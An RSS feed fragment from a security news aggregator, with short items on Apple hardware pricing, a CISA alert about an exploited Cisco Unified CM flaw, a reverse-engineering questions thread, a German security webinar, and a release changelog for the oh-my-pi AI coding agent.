<guid isPermaLink="true">https://tsecurity.de/de/3633103/ios-mac-os/the-16-inch-macbook-pro-finally-hits-a-five-figure-price-tag/</guid>
<pubDate>Mon, 29 Jun 2026 15:54:48 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple has officially pushed the ceiling on how much you can spend on a laptop. Configuring a top-tier 16-inch MacBook Pro now requires a five-figure investment, a milestone that underscores the increasing cost of high-end mobile computing.



As noted by John Gruber in his thoughts on Daring Fireball, the sheer cost of maxing out the hardware specs has quietly crossed the $10,000 threshold. This shift signals a new era for Apple as it continues to expand its premium hardware lineup.



Higher memory and storage options drive costs past the barrier



The jump into five-figure territory is largely driven by the massive cost of unified memory and ultra-high-capacity SSD storage. This pricing strategy reflects the broader trend where Apple creates extreme performance tiers for professional users who demand the absolute best. While the base models remain stable, the optional upgrades have seen significant price hikes, impacting the total bill for a fully loaded Mac workstation.



This isn't happening in a vacuum. Recent market data shows that Apple has raised prices for MacBooks, iPad, Apple TV, HomePod, and Vision Pro across its entire ecosystem. Whether this move makes sense depends entirely on your specific workflow.



For most people, this tier is overkill, but for creative pros who treat their laptop as a primary production rig, it is simply the new cost of doing business. It will be interesting to see if users bite at these prices or if it pushes the market toward more sensible configurations.]]></content:encoded>
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<title><![CDATA[CISA Warns Attackers Are Targeting Critical Internal Business Platforms]]></title>
<description><![CDATA[It Targets Government Agencies, Hospital Networks, and Major Enterprise Environments A new vulnerability affecting Cisco Unified Communications Manager Server has recently been added to CISA’s Known Exploited Vulnerabilities list, indicating… The post CISA Warns Attackers Are Targeting Critical I...]]></description>
<link>https://tsecurity.de/de/3632914/it-security-nachrichten/cisa-warns-attackers-are-targeting-critical-internal-business-platforms/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3632914/it-security-nachrichten/cisa-warns-attackers-are-targeting-critical-internal-business-platforms/</guid>
<pubDate>Mon, 29 Jun 2026 14:35:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>It Targets Government Agencies, Hospital Networks, and Major Enterprise Environments A new vulnerability affecting Cisco Unified Communications Manager Server has recently been added to CISA’s Known Exploited Vulnerabilities list, indicating… The post CISA Warns Attackers Are Targeting Critical Internal Business…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/cisa-warns-attackers-are-targeting-critical-internal-business-platforms/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/cisa-warns-attackers-are-targeting-critical-internal-business-platforms/">CISA Warns Attackers Are Targeting Critical Internal Business Platforms</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[CISA Warns Attackers Are Targeting Critical Internal Business Platforms]]></title>
<description><![CDATA[It Targets Government Agencies, Hospital Networks, and Major Enterprise Environments A new vulnerability affecting Cisco Unified Communications Manager Server has recently been added to CISA’s Known Exploited Vulnerabilities list, indicating...
The post CISA Warns Attackers Are Targeting Critical...]]></description>
<link>https://tsecurity.de/de/3632832/it-security-nachrichten/cisa-warns-attackers-are-targeting-critical-internal-business-platforms/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3632832/it-security-nachrichten/cisa-warns-attackers-are-targeting-critical-internal-business-platforms/</guid>
<pubDate>Mon, 29 Jun 2026 14:09:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img width="1448" height="1086" src="https://www.cyberdefensemagazine.com/wp-content/uploads/2026/06/CISA-Warns-Attackers-Are-Targeting-Critical-Internal-Business-Platforms.png" class="webfeedsFeaturedVisual wp-post-image" alt="" link_thumbnail="" decoding="async" fetchpriority="high" srcset="https://www.cyberdefensemagazine.com/wp-content/uploads/2026/06/CISA-Warns-Attackers-Are-Targeting-Critical-Internal-Business-Platforms.png 1448w, https://www.cyberdefensemagazine.com/wp-content/uploads/2026/06/CISA-Warns-Attackers-Are-Targeting-Critical-Internal-Business-Platforms-768x576.png 768w" sizes="(max-width: 1448px) 100vw, 1448px"><p>It Targets Government Agencies, Hospital Networks, and Major Enterprise Environments A new vulnerability affecting Cisco Unified Communications Manager Server has recently been added to CISA’s Known Exploited Vulnerabilities list, indicating...</p>
<p>The post <a href="https://www.cyberdefensemagazine.com/cisa-warns-attackers-are-targeting-critical-internal-business-platforms/" data-wpel-link="internal">CISA Warns Attackers Are Targeting Critical Internal Business Platforms</a> appeared first on <a href="https://www.cyberdefensemagazine.com/" data-wpel-link="internal">Cyber Defense Magazine</a>.</p>]]></content:encoded>
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<title><![CDATA[Apple M5 Ultra Mac Studio Will Get Better Cooling For AI Tasks]]></title>
<description><![CDATA[Apple is getting ready to launch a new Mac Studio later this year, and it is bringing some major internal upgrades to handle heavy artificial intelligence tasks. According to a recent report, the upcoming desktop will feature the powerful M5 Ultra chip and an improved heat sink. As local AI model...]]></description>
<link>https://tsecurity.de/de/3632418/ios-mac-os/apple-m5-ultra-mac-studio-will-get-better-cooling-for-ai-tasks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3632418/ios-mac-os/apple-m5-ultra-mac-studio-will-get-better-cooling-for-ai-tasks/</guid>
<pubDate>Mon, 29 Jun 2026 11:11:04 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple is getting ready to launch a new Mac Studio later this year, and it is bringing some major internal upgrades to handle heavy artificial intelligence tasks. According to a recent report, the upcoming desktop will feature the powerful M5 Ultra chip and an improved heat sink. As local AI models become more demanding, the company wants to make sure its hardware stays cool under sustained pressure.



Better cooling handles heavy workloads while the exterior stays identical



The upcoming M5 Ultra chip packs a lot of power. The company is testing versions with up to 36 CPU cores, 80 GPU cores, and a massive 768GB of unified memory. These specs make the new Mac ideal for developers running complex coding agents or creators managing high-end video production. Since sustained tasks generate a lot of heat, the upgraded thermal system will help keep the machine running smoothly without dropping performance.



While the inside is getting a massive boost, you will not see any changes on the outside. The tech giant tends to stick with the same desktop chassis for a long time. For example, a new iPhone might get fresh colors and shapes, but desktop machines stay consistent. The current Mac Studio design will remain intact for this release.



Looking further down the road, recent reports suggest that the company will likely skip the M6 generation entirely for its professional desktops. Instead, it plans to introduce an M7 Ultra version around 2028.



For now, the updated Mac Studio arrives right as demand for headless computers is going up. Because of the ongoing memory shortage, the company recently bumped the starting price of the current model to $2,499. The upcoming M5 Ultra version remains on track for a release later this year. This gives power users a much-needed thermal upgrade to look forward to, even as the broader hardware market faces rising costs.]]></content:encoded>
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<title><![CDATA[/r/ReverseEngineering's Weekly Questions Thread]]></title>
<description><![CDATA[To reduce the amount of noise from questions, we have disabled self-posts in favor of a unified questions thread every week. Feel free to ask any question about reverse engineering here. If your question is about how to use a specific tool, or is specific to some particular target, you will have ...]]></description>
<link>https://tsecurity.de/de/3632400/reverse-engineering/rreverseengineerings-weekly-questions-thread/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3632400/reverse-engineering/rreverseengineerings-weekly-questions-thread/</guid>
<pubDate>Mon, 29 Jun 2026 11:10:04 +0200</pubDate>
<category>🕵️ Reverse Engineering</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>To reduce the amount of noise from questions, we have disabled self-posts in favor of a unified questions thread every week. Feel free to ask any question about reverse engineering here. If your question is about how to use a specific tool, or is specific to some particular target, you will have better luck on the <a href="http://reverseengineering.stackexchange.com/">Reverse Engineering StackExchange</a>. See also <a href="https://www.reddit.com/r/AskReverseEngineering">/r/AskReverseEngineering</a>.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/AutoModerator"> /u/AutoModerator </a> <br> <span><a href="https://www.reddit.com/r/ReverseEngineering/comments/1uil431/rreverseengineerings_weekly_questions_thread/">[link]</a></span>   <span><a href="https://www.reddit.com/r/ReverseEngineering/comments/1uil431/rreverseengineerings_weekly_questions_thread/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[Ihre größte Sicherheitslücke ist kein Hacker – sondern fehlende Basics]]></title>
<description><![CDATA[Cyberangriffe werden immer raffinierter - doch die größten Sicherheitsrisiken entstehen häufig nicht durch hochentwickelte Hackerangriffe, sondern durch versäumte Grundlagen im IT-Betrieb. Fehlende Sicherheitsupdates, bekannte Schwachstellen, unverschlüsselte Endgeräte oder nicht korrekt konfigur...]]></description>
<link>https://tsecurity.de/de/3632357/it-security-nachrichten/ihre-groesste-sicherheitsluecke-ist-kein-hacker-sondern-fehlende-basics/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3632357/it-security-nachrichten/ihre-groesste-sicherheitsluecke-ist-kein-hacker-sondern-fehlende-basics/</guid>
<pubDate>Mon, 29 Jun 2026 10:50:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1920" height="1080" src="https://www.it-daily.net/wp-content/uploads/2026/06/1920x1080px.jpg" class="attachment-full size-full wp-post-image" alt="Webinar Aagon August 2026" decoding="async" srcset="https://www.it-daily.net/wp-content/uploads/2026/06/1920x1080px.jpg 1920w, https://www.it-daily.net/wp-content/uploads/2026/06/1920x1080px-300x169.jpg 300w, https://www.it-daily.net/wp-content/uploads/2026/06/1920x1080px-1024x576.jpg 1024w, https://www.it-daily.net/wp-content/uploads/2026/06/1920x1080px-768x432.jpg 768w, https://www.it-daily.net/wp-content/uploads/2026/06/1920x1080px-1536x864.jpg 1536w" sizes="(max-width: 1920px) 100vw, 1920px" title="Ihre größte Sicherheitslücke ist kein Hacker - sondern fehlende Basics 3"></p>
    Cyberangriffe werden immer raffinierter - doch die größten Sicherheitsrisiken entstehen häufig nicht durch hochentwickelte Hackerangriffe, sondern durch versäumte Grundlagen im IT-Betrieb. Fehlende Sicherheitsupdates, bekannte Schwachstellen, unverschlüsselte Endgeräte oder nicht korrekt konfigurierte Schutzmechanismen bieten Angreifern oft eine einfache Angriffsfläche.

<p>Tags: <a href="https://www.it-daily.net/thema/hacker">#Hacker</a> | <a href="https://www.it-daily.net/thema/sicherheitsluecke">#Sicherheitslücke</a> | <a href="https://www.it-daily.net/thema/unified-endpoint-management">#Unified Endpoint Management</a> | <a href="https://www.it-daily.net/thema/webinar">#Webinar</a></p>]]></content:encoded>
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<title><![CDATA[v16.2.3]]></title>
<description><![CDATA[@oh-my-pi/pi-agent-core
Changed

Enabled V2 streaming remote compaction by default for compatible AI and OpenAI-compatible models, which forwards full conversation history to the provider and supports session routing, prompt caching, provider-native tool history replay, transient error retries, a...]]></description>
<link>https://tsecurity.de/de/3631226/tools/v1623/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3631226/tools/v1623/</guid>
<pubDate>Sun, 28 Jun 2026 18:09:21 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>@oh-my-pi/pi-agent-core</h2>
<h3>Changed</h3>
<ul>
<li>Enabled V2 streaming remote compaction by default for compatible AI and OpenAI-compatible models, which forwards full conversation history to the provider and supports session routing, prompt caching, provider-native tool history replay, transient error retries, and configurable timeouts.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed an issue where assistant responses and encrypted reasoning could be lost during local history trimming.</li>
<li>Added <code>title_change</code> session metadata to the compaction entry type union to maintain type compatibility for hosts with title audit entries.</li>
</ul>
<h2>@oh-my-pi/pi-ai</h2>
<h3>Changed</h3>
<ul>
<li>Enabled automatic removal of leaked reasoning tags for all models</li>
<li>Prevented reasoning text duplication when models emit both structured and inline thinking</li>
<li>Defaulted reasoning context to all turns for all Codex requests.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Enabled freeform tool patch support for Azure OpenAI and Codex models.</li>
<li>Fixed an issue where the <code>/usage show</code> command returned "No usage data available" when using a custom proxy base URL for Codex.</li>
</ul>
<h2>@oh-my-pi/pi-catalog</h2>
<h3>Added</h3>
<ul>
<li>Added support and configuration parameters for V2 streaming compaction in RemoteCompactionConfig, catalog types, and model/provider metadata.</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Enabled automatic content markup healing for all OpenAI-compatible streaming models</li>
<li>Updated pricing and context window limits for several catalog models.</li>
<li>Disabled reasoning capability for multiple providers in the catalog.</li>
</ul>
<h2>@oh-my-pi/pi-coding-agent</h2>
<h3>Added</h3>
<ul>
<li>Added support for multiple configurable advisors via WATCHDOG.yml/WATCHDOG.yaml files, allowing per-advisor models, tool subsets, and instructions.</li>
<li>Added /advisor configure, a full-screen, mouse-driven TUI to easily manage the advisor roster, configure models, toggle tool permissions, and edit instructions.</li>
<li>Added full unified edit diffs to advisor transcripts, allowing advisors to see changes directly without re-reading files.</li>
<li>Added the statusLine.compactThinkingLevel setting to render the model segment's thinking level as a single leading glyph instead of a separate text suffix.</li>
<li>Added support for tracking reasoning tokens in session and advisor statistics.</li>
<li>Added Remote Compaction V2 streaming configuration settings (compaction.remoteStreamingV2Enabled and compaction.v2RetainedMessageBudget) to control token budgets and toggle V2 streaming for remote compaction.</li>
<li>Added the edit.citationTags setting to emit model-facing hashline section headers as OpenAI citation markers with opaque source IDs, along with citation-marker unwrapping for hashline edit parsing, diff previews, and streaming matching.</li>
<li>Added mutable session titles with automatic replan title refreshes and configurable idle recaps.</li>
<li>Added support for incremental yield submissions with typed sections and final results for subagents.</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Reduced session file size by removing redundant thinking signatures already present in payloads</li>
<li>Advisors can now be granted any built-in agent tool (including edit, write, and bash), removing the previous read-only restriction.</li>
<li>Improved the debug log and raw SSE stream viewers with a wider, bordered overlay, clearer status indicators, dynamic layouts, and mouse support for scrolling and interaction.</li>
<li>Updated the idle recap feature to use an LLM-generated summary of where things stand (anchored by the live goal and active todo task) instead of a static status line.</li>
<li>Refined interrupted thinking system instructions to encourage smoother continuation.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed array-typed output schema validation by correctly assembling incremental yields into lists.</li>
<li>Fixed OpenAI/Codex compatibility by removing top-level schema combinators from tool parameters.</li>
<li>Fixed validation errors for untyped final yields in strict-mode providers by allowing null types.</li>
<li>Fixed Alt+M default-role model configuration being disabled by the current session's context size.</li>
<li>Fixed MCP type: "sse" servers by adding the legacy HTTP+SSE endpoint handshake and streaming JSON-RPC response path.</li>
<li>Fixed interrupted reasoning blocks being incorrectly stripped when they contained a valid signature.</li>
<li>Fixed interrupted thinking being lost in LLM provider requests after user interrupts by properly stripping trailing reasoning blocks from assistant turns while preserving them in the UI and session history.</li>
<li>Fixed the live todo HUD going stale during long tool-use loops by introducing a mid-run reconciliation reminder that prompts the agent to update incomplete items.</li>
<li>Fixed resumed OpenAI and OpenAI-Codex sessions losing encrypted reasoning and native assistant turns during rehydration.</li>
<li>Fixed the ask tool's custom answer editor dropping the original question and option list while typing.</li>
<li>Fixed auto-snapcompact failing the session on local blockers (such as text-only active models, high non-ASCII transcripts, or context budget overflows) by gracefully downgrading automatic maintenance to context-full compaction.</li>
<li>Fixed autoresearch's before_agent_start handler crashing when the system prompt was undefined.</li>
<li>Fixed OMP exiting silently during startup when encountering standalone Codex hook scripts in ~/.codex/hooks/.</li>
<li>Fixed unreachable keyboard shortcuts in HTML session exports by changing the "toggle thinking" and "toggle tools" shortcuts from Ctrl+T and Ctrl+O to bare T and O keys.</li>
<li>Fixed user-invoked /skill: prompts reaching model providers as developer turns instead of user turns, including during compaction.</li>
<li>Fixed reasoning streaming being locked off for OpenAI-compatible providers that stream reasoning content without advertising reasoning support in model metadata.</li>
<li>Fixed /shake and other mid-stream chat rebuilds erasing live LLM output by preserving the in-flight streaming components and pending tools.</li>
<li>Fixed the time_spent status-line segment ticking continuously during idle sessions by ensuring it only accumulates active agent execution windows and resets correctly across session switches.</li>
<li>Fixed expanded pending SSH previews committing provisional rows to native scrollback before the final result render.</li>
<li>Fixed ssh:// rejecting POSIX-capable remotes whose login-shell classification was ambiguous by verifying a working transfer shell directly and gating transfers on that capability.</li>
</ul>
<h3>Removed</h3>
<ul>
<li>Removed history URI support for reading agent transcripts</li>
</ul>
<h2>@oh-my-pi/omp-stats</h2>
<h3>Added</h3>
<ul>
<li>Support for parsing named advisor transcripts using the <code>__advisor.&lt;slug&gt;.jsonl</code> naming convention.</li>
</ul>
<h2>@oh-my-pi/pi-tui</h2>
<h3>Added</h3>
<ul>
<li>Added a desktop notification fallback for Linux terminals using D-Bus (via notify-send or gdbus), enabling completion and prompt notifications in VTE-family terminals (such as GNOME Terminal, Ptyxis, Tilix), Alacritty, and xterm. This is automatically skipped for terminals with native notification support (like VS Code and Warp) and can be disabled using the PI_NO_DESKTOP_NOTIFY=1 environment variable.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed slash skill autocomplete not opening when there is existing prompt text, ensuring mid-prompt slash lookups correctly display and insert skill commands.</li>
<li>Fixed modified Enter and keyboard shortcuts in fullscreen overlays for terminals using the xterm modifyOtherKeys fallback (such as iTerm2 when Kitty keyboard negotiation is unavailable).</li>
</ul>
<h2>@oh-my-pi/pi-utils</h2>
<h3>Added</h3>
<ul>
<li>Added <code>escapeXmlAttribute</code> utility function for safe XML attribute value encoding.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed a crash in <code>ptree.ChildProcess.bytes()</code> and the <code>ssh://</code> read path when handling large subprocess outputs (over 128 KB) under Bun by ensuring it consistently returns a <code>Uint8Array</code>.</li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>fix(tui): open mid-prompt skill autocomplete by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4758447888" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3657" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3657/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3657">#3657</a></li>
<li>fix(tui): preserve in-flight assistant turn across /shake rebuilds by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4758461749" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3658" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3658/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3658">#3658</a></li>
<li>fix(compaction): fall back from auto-snapcompact on text-only models by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4758585650" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3661" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3661/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3661">#3661</a></li>
<li>fix(autoresearch): guard before_agent_start against undefined event.systemPrompt by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4758968334" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3667" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3667/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3667">#3667</a></li>
<li>fix(export): use browser-safe single-key toggles in HTML export by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4759249175" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3671" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3671/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3671">#3671</a></li>
<li>fix(tui): allow thinking toggle after streamed reasoning by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4759250805" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3672" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3672/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3672">#3672</a></li>
<li>fix(ai): ignore non-canonical codex baseUrl for wham/usage by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4759849380" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3682" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3682/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3682">#3682</a></li>
<li>fix(extensions): isolate codex hook scripts so process.exit cannot kill OMP startup by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4759861840" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3683" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3683/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3683">#3683</a></li>
<li>fix(tui): track active processing time for time_spent status segment by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4759892075" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3684" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3684/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3684">#3684</a></li>
<li>fix(tui): use OSC 9 notifications for VTE terminals by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4760151561" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3687" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3687/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3687">#3687</a></li>
<li>fix(coding-agent): present user skill prompts as user turns by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761058923" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3699" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3699/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3699">#3699</a></li>
<li>fix(coding-agent): preserve queued skill invocations by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761070999" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3700" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3700/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3700">#3700</a></li>
<li>fix(tui): keep Shift+Enter enhanced in iTerm fallback overlays by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761297085" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3706" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3706/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3706">#3706</a></li>
<li>fix(coding-agent): keep Alt+M default role selectable over context by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761410375" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3709" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3709/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3709">#3709</a></li>
<li>fix(mcp): support legacy SSE transport by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761507119" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3711" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3711/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3711">#3711</a></li>
<li>fix(utils): normalize ptree.bytes() to Uint8Array by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761865940" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3713" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3713/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3713">#3713</a></li>
<li>fix(ssh): pinned expanded pending preview commit-unstable by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761959232" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3716" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3716/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3716">#3716</a></li>
<li>fix(ssh): gate ssh:// transfers on verified POSIX shell capability by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4762116112" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3722" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3722/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3722">#3722</a></li>
<li>fix(providers): keep runtime headers live by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4762468882" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3726" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3726/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3726">#3726</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/can1357/oh-my-pi/compare/v16.2.2...v16.2.3"><tt>v16.2.2...v16.2.3</tt></a></p>]]></content:encoded>
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<title><![CDATA[Week in review: Fortibleed campaign’s impact on orgs, Cisco Unified CM flaw exploited]]></title>
<description><![CDATA[Here’s an overview of some of last week’s most interesting news, articles, interviews and videos: Encrypted DNS still tells an eavesdropper where to look Encrypted DNS runs across much of the Internet. DNS over TLS, HTTPS, and QUIC keep the…
Read more →
The post Week in review: Fortibleed campaig...]]></description>
<link>https://tsecurity.de/de/3630750/it-security-nachrichten/week-in-review-fortibleed-campaigns-impact-on-orgs-cisco-unified-cm-flaw-exploited/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3630750/it-security-nachrichten/week-in-review-fortibleed-campaigns-impact-on-orgs-cisco-unified-cm-flaw-exploited/</guid>
<pubDate>Sun, 28 Jun 2026 10:37:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Here’s an overview of some of last week’s most interesting news, articles, interviews and videos: Encrypted DNS still tells an eavesdropper where to look Encrypted DNS runs across much of the Internet. DNS over TLS, HTTPS, and QUIC keep the…</p>
